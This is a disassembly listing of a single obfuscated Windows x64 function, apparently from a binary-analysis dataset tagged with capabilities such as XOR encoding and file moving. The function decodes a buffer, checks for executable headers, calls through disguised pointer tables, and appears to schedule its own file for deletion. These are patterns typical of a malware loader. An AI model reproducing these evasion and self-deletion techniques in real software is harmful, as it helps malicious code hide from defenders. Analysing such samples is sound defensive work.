Function at 0x3600e8cc
Capabilities:
Encode data using xor
Move file

Disassembly:
mov rax, rsp
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x9d0
mov qword [rsp + 0xa8], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov bl, dl
mov sil, cl
xor r15d, r15d
mov dword [rsp + 0x40], r15d
mov qword [rsp + 0x48], r15
mov dword [rsp + 0x68], r15d
mov qword [rax - 0x978], r15
mov qword [rax - 0x968], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x98], eax
lea ebp, [r15 + 1]
mov ecx, ebp
call fcn.36005ff8
mov ecx, 0xea60
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x90]
call fcn.36007dc8
cmp eax, r15d
je 0x3600e9bd
mov r9b, bl
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x90]
call fcn.360059ec
mov rdi, rax
mov rcx, qword [rsp + 0x48]
cmp rcx, r15
je 0x3600e977
call fcn.360107cc
mov qword [rsp + 0x48], rdi
cmp rdi, r15
je 0x3600e9cd
mov eax, dword [rsp + 0x40]
cmp eax, r15d
jbe 0x3600e9c1
mov ecx, eax
and ecx, 0xfffffffc
sub ecx, 3
je 0x3600e9c1
mov rdx, r15
lea r8d, [rcx - 1]
shr r8d, 2
add r8d, ebp
mov rcx, qword [rsp + 0x48]
mov eax, dword [rsp + 0x68]
xor dword [rdx + rcx], eax
add rdx, 4
sub r8, rbp
jne 0x3600e9a2
mov eax, dword [rsp + 0x40]
jmp 0x3600e9c1
mov eax, dword [rsp + 0x40]
cmp qword [rsp + 0x48], r15
je 0x3600e9cd
cmp eax, r15d
jne 0x3600ea2e
mov rax, qword [0x3601d1f0]
cmp rax, r15
je 0x3600ea03
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x68]
mov dl, bl
mov cl, sil
call rax
mov rbx, rax
mov rcx, qword [rsp + 0x48]
cmp rcx, r15
je 0x3600e9fc
call fcn.360107cc
mov qword [rsp + 0x48], rbx
jmp 0x3600ea2e
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x68]
mov dl, bl
mov cl, sil
call fcn.3600e008
mov rbx, rax
mov rcx, qword [rsp + 0x48]
cmp rcx, r15
je 0x3600ea29
call fcn.360107cc
mov qword [rsp + 0x48], rbx
mov rax, qword [0x3601d400]
cmp rax, r15
je 0x3600ebda
mov rax, qword [rax + 0x2a8]
xor edx, edx
movabs rcx, 0x22505cd8504bd59d
div rcx
mov r10, rdx
mov dword [rsp + 0x20], 0xf9c74329
mov edx, 0x5c06473f
mov ecx, 0xeedcf5bf
mov r9d, 0xbfc2764c
mov r8d, 0x4018321
call r10
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x180]
movabs rcx, 0x79d6e20e64398c45
sub rax, rcx
mov dword [rsp + 0x28], 0x6f44df13
mov dword [rsp + 0x20], 0x39c0286b
mov edx, 0xd9bb2898
mov ecx, 0x36e48752
mov r9d, 0x620228cb
mov r8d, 0x3aa89e9c
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x180]
movabs rcx, 0x1dc08fd5a1bae168
add rax, rcx
mov dword [rsp + 0x30], 0x76b03173
mov dword [rsp + 0x28], 0xb44d497
mov dword [rsp + 0x20], 0x2abb818c
mov edx, 0xdfb47a74
mov ecx, 0x4683cd33
mov r9d, 0x8362f4b2
mov r8d, 0x26ac8ae4
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x78]
movabs rcx, 0x6d4ee485485e4487
add rax, rcx
call rax
mov rax, qword [0x3601d400]
mov rax, qword [rax + 0x240]
xor edx, edx
movabs rcx, 0x3433374c1fc25a19
div rcx
mov edx, 0xfcf945f6
mov ecx, 0x62d49f9a
mov r9d, 0x83e7fba8
mov r8d, 0xaf75d18f
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x260]
movabs rcx, 0xf916084cf4aed1d8
imul rax, rcx
mov dword [rsp + 0x28], 0xd5323c8b
mov dword [rsp + 0x20], 0xee96acf6
mov edx, 0x50b1476e
mov ecx, 0xe434b503
mov r9d, 0x84a7ad2f
mov r8d, 0xccdcae0d
call rax
mov rax, qword [0x3601d400]
mov rax, qword [rax + 0x1b8]
xor edx, edx
movabs rcx, 0xfdadd919d8c00633
div rcx
mov r10, rdx
mov dword [rsp + 0x20], 0x58bda194
mov edx, 0xcfaafa1e
mov ecx, 0x23de9f67
mov r9d, 0xd4d4f224
mov r8d, 0x44627433
call r10
mov edx, 8
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
mov rcx, qword [rsp + 0x48]
cmp eax, r15d
jne 0x3600f932
cmp rcx, r15
setne al
cmp al, r15b
je 0x3600f932
mov ecx, 2
call fcn.36005ff8
xor edx, edx
mov r8d, 0x808
lea rcx, [rsp + 0x1c0]
call fcn.36010b50
mov r11, qword [0x3601c018]
mov qword [rsp + 0x70], r11
mov byte [rsp + 0xa20], 0x65
lea r8, [rsp + 0xa20]
mov edx, ebp
lea rcx, [rsp + 0x70]
call fcn.360063cc
mov byte [rsp + 0xa28], 0x74
lea r8, [rsp + 0xa28]
mov edx, ebp
lea rcx, [rsp + 0x70]
call fcn.360063cc
mov byte [rsp + 0x50], 0x70
lea r8, [rsp + 0x50]
mov edx, ebp
lea rcx, [rsp + 0x70]
call fcn.360063cc
mov rax, qword [0x3601d400]
cmp rax, r15
je 0x3600ed1d
mov rax, qword [rax + 0x1e8]
xor edx, edx
movabs rcx, 0xa53d50fcdaef9ee4
div rcx
mov r10, rdx
mov dword [rsp + 0x30], 0x1df28b57
mov dword [rsp + 0x28], 0xa9eb0f75
mov dword [rsp + 0x20], 0xc1d66dae
mov edx, 0xaacc91dc
mov ecx, 0x4031e0b9
mov r9d, 0x26ee5212
mov r8d, 0xdf8f6843
call r10
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x2d8]
movabs rcx, 0x748049d4695c25ee
sub rax, rcx
mov dword [rsp + 0x28], 0x5b182bf0
mov dword [rsp + 0x20], 0xe99b467b
mov edx, 0xa57ebe89
mov ecx, 0xfa8e7690
mov r9d, 0x2c4087a3
mov r8d, 0xfe45ef7f
call rax
mov dword [rsp + 0x1c0], 0xf0f0f0f0
call fcn.360052d4
mov qword [rsp + 0x1c8], rax
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.36006ad8
mov qword [rsp + 0x3c8], rax
lea rax, [0x3601d1a0]
mov qword [rsp + 0x7c8], rax
mov r13d, r15d
mov bpl, r15b
mov rax, qword [0x3601d400]
cmp rax, r15
je 0x3600ee26
mov rax, qword [rax + 0x78]
xor edx, edx
movabs rcx, 0x1dcd3332619b0315
div rcx
mov edx, 0x40b7ff67
mov ecx, 0xcbe882c6
call rax
mov rax, qword [0x3601d400]
mov rax, qword [rax + 0x160]
xor edx, edx
movabs rcx, 0xcffda70725132fe4
div rcx
mov r8, rdx
mov edx, 0x1f274f6a
mov ecx, 0x9aa908af
call r8
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x190]
movabs rcx, 0x5d8506b42a6e51d7
add rax, rcx
mov edx, 0xc0851d9c
mov ecx, 0x8f44279f
mov r9d, 0x844c1f89
mov r8d, 0x91530266
call rax
mov rax, qword [0x3601d400]
mov rax, qword [rax + 0xd0]
xor edx, edx
movabs rcx, 0x5d88fcac63a19ab5
div rcx
mov r10, rdx
mov edx, 0xbd25d319
mov ecx, 0x93ae9181
mov r9d, 0xef10e019
mov r8d, 0x394dcfc3
call r10
mov r12d, r15d
lea r14, [rsp + 0x5d0]
mov esi, 0x28746d95
mov ecx, dword [rsp + 0x40]
add ecx, 0x400
call fcn.360107dc
mov rdi, rax
mov qword [rsp + 0x60], rax
mov r8d, dword [rsp + 0x40]
mov edx, r13d
add rdx, qword [rsp + 0x48]
mov rcx, rax
call fcn.36010800
mov rax, qword [0x3601d400]
cmp rax, r15
je 0x3600efa3
mov rax, qword [rax + 0x1b8]
xor edx, edx
movabs rcx, 0x19dc0859bc9b9963
div rcx
mov r10, rdx
mov dword [rsp + 0x30], 0x2e4a6583
mov dword [rsp + 0x28], 0xbc0ec8c
mov dword [rsp + 0x20], 0x963d3d61
mov edx, 0x549f2d91
mov ecx, 0xd3dcab0b
mov r9d, 0xa1555769
mov r8d, 0xd0f12e7e
call r10
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x58]
movabs rcx, 0x3674065c4c74206d
imul rax, rcx
mov dword [rsp + 0x20], 0x93034cba
mov edx, 0x5c10c21d
mov ecx, 0xfdb98d6
mov r9d, 0xa44efe82
mov r8d, 0xe83940cc
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0xc0]
movabs rcx, 0xd2652b0827a14fde
xor rax, rcx
mov edx, 0xb4d6842d
mov ecx, 0xc8107b01
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x220]
movabs rcx, 0xdd16b7b5a59f684f
xor rax, rcx
mov dword [rsp + 0x20], 0xc2c4c976
mov edx, 0x77548056
mov ecx, 0x2499ff30
mov r9d, 0xa64201d2
mov r8d, 0x3f5e9153
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0xc8]
movabs rcx, 0x284331d32ff320b0
sub rax, rcx
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x28]
movabs rcx, 0x5320bf655ebe03a1
sub rax, rcx
mov edx, 0x34182bc8
mov ecx, 0x4fc640b1
mov r8d, 0x6f43c54
call rax
mov rdi, qword [rsp + 0x60]
mov rax, qword [0x3601d238]
cmp rax, r15
je 0x3600efb6
call rax
mov rbx, rax
jmp 0x3600efbe
call fcn.360039a8
mov rbx, rax
mov rax, qword [0x3601d400]
cmp rax, r15
je 0x3600f042
mov rax, qword [rax + 0x110]
xor edx, edx
movabs rcx, 0x1336da727c34ca73
div rcx
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 0x1816cc5f
mov edx, 0xc2a0832b
mov ecx, 0x9b1656cb
mov r9d, 0x235306b8
mov r8d, 0xa79be2de
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x68]
movabs rcx, 0x5c7bd888e5c34e94
sub rax, rcx
mov ecx, 0x494a75d3
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x70]
movabs rcx, 0x7a48a734017c1090
add rax, rcx
call rax
mov rdi, qword [rsp + 0x60]
mov rax, qword [0x3601d258]
cmp rax, r15
je 0x3600f05f
mov r9b, 1
mov r8, rbx
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rax
jmp 0x3600f071
mov r9b, 1
mov r8, rbx
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call fcn.36004484
mov rax, qword [0x3601d400]
cmp rax, r15
je 0x3600f0f5
mov rax, qword [rax + 0x110]
xor edx, edx
movabs rcx, 0x1336da727c34ca73
div rcx
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 0x1816cc5f
mov edx, 0xc2a0832b
mov ecx, 0x9b1656cb
mov r9d, 0x235306b8
mov r8d, 0xa79be2de
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x68]
movabs rcx, 0x5c7bd888e5c34e94
sub rax, rcx
mov ecx, 0x494a75d3
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x70]
movabs rcx, 0x7a48a734017c1090
add rax, rcx
call rax
mov rdi, qword [rsp + 0x60]
mov dword [rsp + 0x58], r15d
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x78], eax
mov rax, qword [0x3601d260]
cmp rax, r15
je 0x3600f122
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x78]
mov rcx, rdi
call rax
mov rbx, rax
jmp 0x3600f137
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x78]
mov rcx, rdi
call fcn.36006518
mov rbx, rax
mov rax, qword [0x3601d400]
cmp rax, r15
je 0x3600f1c2
mov rax, qword [rax + 0x110]
xor edx, edx
movabs rcx, 0x1336da727c34ca73
div rcx
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 0x1816cc5f
mov edx, 0xc2a0832b
mov ecx, 0x9b1656cb
mov r9d, 0x235306b8
mov r8d, 0xa79be2de
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x68]
movabs rcx, 0x5c7bd888e5c34e94
sub rax, rcx
mov ecx, 0x494a75d3
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x70]
movabs rcx, 0x7a48a734017c1090
add rax, rcx
call rax
mov rdi, qword [rsp + 0x60]
mov rax, qword [0x3601d400]
cmp rbx, r15
je 0x3600f1e5
cmp rdi, r15
je 0x3600f1db
mov rcx, rdi
call fcn.360107cc
mov rax, qword [0x3601d400]
mov rdi, rbx
mov qword [rsp + 0x60], rbx
jmp 0x3600f1ea
mov dword [rsp + 0x58], r15d
mov ecx, 0x5a4d
cmp word [rdi], cx
jne 0x3600f8d8
cmp rax, r15
je 0x3600f277
mov rax, qword [rax + 0x110]
xor edx, edx
movabs rbx, 0x1336da727c34ca73
div rbx
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 0x1816cc5f
mov edx, 0xc2a0832b
mov ecx, 0x9b1656cb
mov r9d, 0x235306b8
mov r8d, 0xa79be2de
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x68]
movabs rcx, 0x5c7bd888e5c34e94
sub rax, rcx
mov ecx, 0x494a75d3
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x70]
movabs rcx, 0x7a48a734017c1090
add rax, rcx
call rax
mov rdi, qword [rsp + 0x60]
jmp 0x3600f281
movabs rbx, 0x1336da727c34ca73
inc r12d
mov dword [rdi + 0x28], r12d
lea rax, [rsp + 0x1c0]
mov qword [rdi + 0x30], rax
mov ecx, dword [rsp + 0x58]
cmp ecx, r15d
jne 0x3600f2ab
mov rcx, rdi
call fcn.36008570
mov ecx, eax
mov dword [rsp + 0x58], eax
mov rax, qword [0x3601d400]
cmp rax, r15
je 0x3600f329
mov rax, qword [rax + 0x110]
xor edx, edx
div rbx
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 0x1816cc5f
mov edx, 0xc2a0832b
mov ecx, 0x9b1656cb
mov r9d, 0x235306b8
mov r8d, 0xa79be2de
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x68]
movabs rcx, 0x5c7bd888e5c34e94
sub rax, rcx
mov ecx, 0x494a75d3
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x70]
movabs rcx, 0x7a48a734017c1090
add rax, rcx
call rax
mov rdi, qword [rsp + 0x60]
mov ecx, dword [rsp + 0x58]
add r13d, ecx
sub dword [rsp + 0x40], ecx
mov esi, r15d
mov qword [rsp + 0x80], r15
cmp bpl, r15b
jne 0x3600f36f
mov rax, qword [0x3601d210]
cmp rax, r15
je 0x3600f35d
lea rdx, [rsp + 0x80]
mov rcx, rdi
call rax
mov esi, eax
jmp 0x3600f36f
lea rdx, [rsp + 0x80]
mov rcx, rdi
call fcn.3600e880
mov esi, eax
mov rax, qword [0x3601d400]
cmp rax, r15
je 0x3600f443
mov rax, qword [rax + 0x28]
movabs rcx, 0xce5c5456f511a05b
xor rax, rcx
mov dword [rsp + 0x20], 0x8f5ae65e
mov edx, 0xca7f78a7
mov ecx, 0x8b0d876d
mov r9d, 0xbf7a4247
mov r8d, 0xf83080f2
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x310]
movabs rcx, 0xf81b56be47b24a5f
xor rax, rcx
mov ecx, 0x4cc85f70
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x258]
movabs rcx, 0x5520e95c79d23e7b
xor rax, rcx
mov ecx, 0x3ff0b514
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x1f0]
movabs rcx, 0x3df705cc8fe7e87f
or rax, rcx
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x2d0]
movabs rcx, 0x8e9f2d58c05afbb6
or rax, rcx
mov edx, 0xbc858242
mov ecx, 0xa1400d04
mov r8d, 0xd0b7b5ff
call rax
mov rdi, qword [rsp + 0x60]
mov bpl, r15b
mov rcx, qword [rsp + 0x80]
cmp rcx, r15
je 0x3600f466
cmp qword [r14], r15
jne 0x3600f466
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rax, qword [0x3601d400]
cmp rax, r15
je 0x3600f5a3
mov rax, qword [rax + 0x2f8]
movabs rcx, 0x1c284f978e20c470
sub rax, rcx
mov edx, 0x21e0ba99
mov ecx, 0x8898ccc8
mov r8d, 0x268cf112
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x288]
movabs rcx, 0xf475023b9cee4df0
imul rax, rcx
mov edx, 0x5c590749
mov ecx, 0xb3a604a
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x130]
movabs rcx, 0x7fab09bcb54cad49
add rax, rcx
call rax
mov rax, qword [0x3601d400]
mov rax, qword [rax + 0x1a0]
xor edx, edx
movabs rcx, 0x2fe25d7c64e83aca
div rcx
mov edx, 0x134a6199
mov ecx, 0xc97fcb57
mov r9d, 0x69035519
mov r8d, 0xe3a9a8da
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x88]
movabs rcx, 0x7eee5b8b16a7322e
sub rax, rcx
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0xf0]
movabs rcx, 0xb47e81401e648b6c
imul rax, rcx
mov edx, 0xc4fc3716
mov ecx, 0x3ace3e84
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x180]
movabs rcx, 0x4c975fad5f830c3b
or rax, rcx
mov dword [rsp + 0x28], 0x245724ff
mov dword [rsp + 0x20], 0x80d27468
mov edx, 0x770e51e7
mov ecx, 0x1caf665f
mov r9d, 0x6afe4b58
mov r8d, 0x13d349f2
call rax
mov rdi, qword [rsp + 0x60]
cmp esi, r15d
jl 0x3600f888
cmp esi, 0xff0f0f0
jne 0x3600f64a
mov rax, qword [0x3601c018]
mov qword [rsp + 0x88], rax
call fcn.360052d4
mov r8d, 0x104
lea rdx, [rsp + 0xb0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x88]
call fcn.360087f4
xor edx, edx
lea r8d, [rdx + 4]
mov rbx, qword [rsp + 0x88]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
nop
lea rcx, [rbx - 0xc]
cmp rcx, qword [0x3601c010]
je 0x3600f643
or eax, 0xffffffff
lock xadd dword [rcx], eax
dec eax
cmp eax, r15d
jg 0x3600f637
call fcn.360107d4
mov rdi, qword [rsp + 0x60]
jmp 0x3600f64a
mov rdi, qword [rsp + 0x60]
mov ebx, 1
jmp 0x3600f65c
mov ebx, 1
jmp 0x3600f65c
movzx ebp, bpl
cmp esi, 0xff2f0f2
mov ebx, 1
cmove ebp, ebx
mov rax, qword [0x3601d400]
cmp rax, r15
je 0x3600f694
mov rax, qword [rax + 0x2c0]
movabs rcx, 0x792076bcd278aa59
imul rax, rcx
mov edx, 0xddf8e090
mov ecx, 0x5f499b53
mov r8d, 0x3b492767
call rax
mov rdi, qword [rsp + 0x60]
cmp dword [rsp + 0x40], r15d
jbe 0x3600f7e0
cmp esi, 0xff1f0f1
je 0x3600f7e0
mov rcx, rdi
call fcn.360107cc
add r14, 8
cmp r12d, 0x3f
mov esi, 0x28746d95
jb 0x3600ee36
mov rax, qword [0x3601d400]
cmp rax, r15
je 0x3600f796
mov rax, qword [rax + 0x18]
movabs rcx, 0x156ce505c9dc41ed
sub rax, rcx
mov dword [rsp + 0x20], 0x6202b6a8
mov edx, 0x17f3105d
mov ecx, 0xd77703b1
mov r9d, 0x5f723bd3
mov r8d, 0xf81f582a
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x1a0]
movabs rcx, 0x3c36f21bd17e0787
sub rax, rcx
mov edx, 0xcaceee38
mov ecx, 0x819df366
mov r9d, 0xa2dabeed
mov r8d, 0xf4c17d01
call rax
mov rax, qword [0x3601d400]
mov rax, qword [rax + 0x2f0]
xor edx, edx
movabs rcx, 0x408784727e6af4d7
div rcx
mov edx, 0xeb95dc89
mov ecx, 0xdc488bb4
mov r8d, 0xf720643d
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x2a0]
movabs rcx, 0xf9d90b4d5b3be7c
sub rax, rcx
mov edx, 0x3246a874
mov ecx, 0x9c147a2e
mov r8d, 0xb54d7e63
call rax
lea rcx, [rsp + 0x1c0]
call fcn.36005bc0
nop
mov rax, qword [rsp + 0x70]
lea rcx, [rax - 0xc]
cmp rcx, qword [0x3601c010]
je 0x3600f7ca
or eax, 0xffffffff
lock xadd dword [rcx], eax
dec eax
cmp eax, r15d
jg 0x3600f7ca
call fcn.360107d4
nop
mov rcx, qword [rsp + 0x48]
cmp rcx, r15
je 0x3600f7d9
call fcn.360107cc
xor al, al
jmp 0x3600f93e
mov ecx, 3
call fcn.36005ff8
mov rcx, qword [0x3601d1a8]
cmp rcx, r15
je 0x3600f802
mov edx, dword [0x3601d1b0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x3601d1c0]
cmp rcx, r15
je 0x3600f813
call fcn.360107cc
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x48], r15
mov qword [0x3601d1c0], rax
mov dword [0x3601d1c8], r13d
mov eax, dword [rsp + 0x68]
mov dword [0x3601d1cc], eax
lea rcx, [rsp + 0x1c0]
call fcn.36005bc0
nop
mov rcx, rdi
call fcn.360107cc
nop
mov rax, qword [rsp + 0x70]
lea rcx, [rax - 0xc]
cmp rcx, qword [0x3601c010]
je 0x3600f872
or eax, 0xffffffff
lock xadd dword [rcx], eax
dec eax
cmp eax, r15d
jg 0x3600f872
call fcn.360107d4
nop
mov rcx, qword [rsp + 0x48]
cmp rcx, r15
je 0x3600f881
call fcn.360107cc
mov al, bl
jmp 0x3600f93e
lea rcx, [rsp + 0x1c0]
call fcn.36005bc0
nop
mov rcx, rdi
call fcn.360107cc
nop
mov rax, qword [rsp + 0x70]
lea rcx, [rax - 0xc]
cmp rcx, qword [0x3601c010]
je 0x3600f8c5
or eax, 0xffffffff
lock xadd dword [rcx], eax
dec eax
cmp eax, r15d
jg 0x3600f8c5
call fcn.360107d4
nop
mov rcx, qword [rsp + 0x48]
cmp rcx, r15
je 0x3600f8d4
call fcn.360107cc
xor al, al
jmp 0x3600f93e
lea ecx, [r12 + 0x64]
call fcn.36005ff8
lea rcx, [rsp + 0x1c0]
call fcn.36005bc0
nop
mov rcx, rdi
call fcn.360107cc
nop
mov rax, qword [rsp + 0x70]
lea rcx, [rax - 0xc]
cmp rcx, qword [0x3601c010]
je 0x3600f91f
or eax, 0xffffffff
lock xadd dword [rcx], eax
dec eax
cmp eax, r15d
jg 0x3600f91f
call fcn.360107d4
nop
mov rcx, qword [rsp + 0x48]
cmp rcx, r15
je 0x3600f92e
call fcn.360107cc
xor al, al
jmp 0x3600f93e
cmp rcx, r15
je 0x3600f93c
call fcn.360107cc
xor al, al
mov rbx, qword [rsp + 0xa10]
add rsp, 0x9d0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret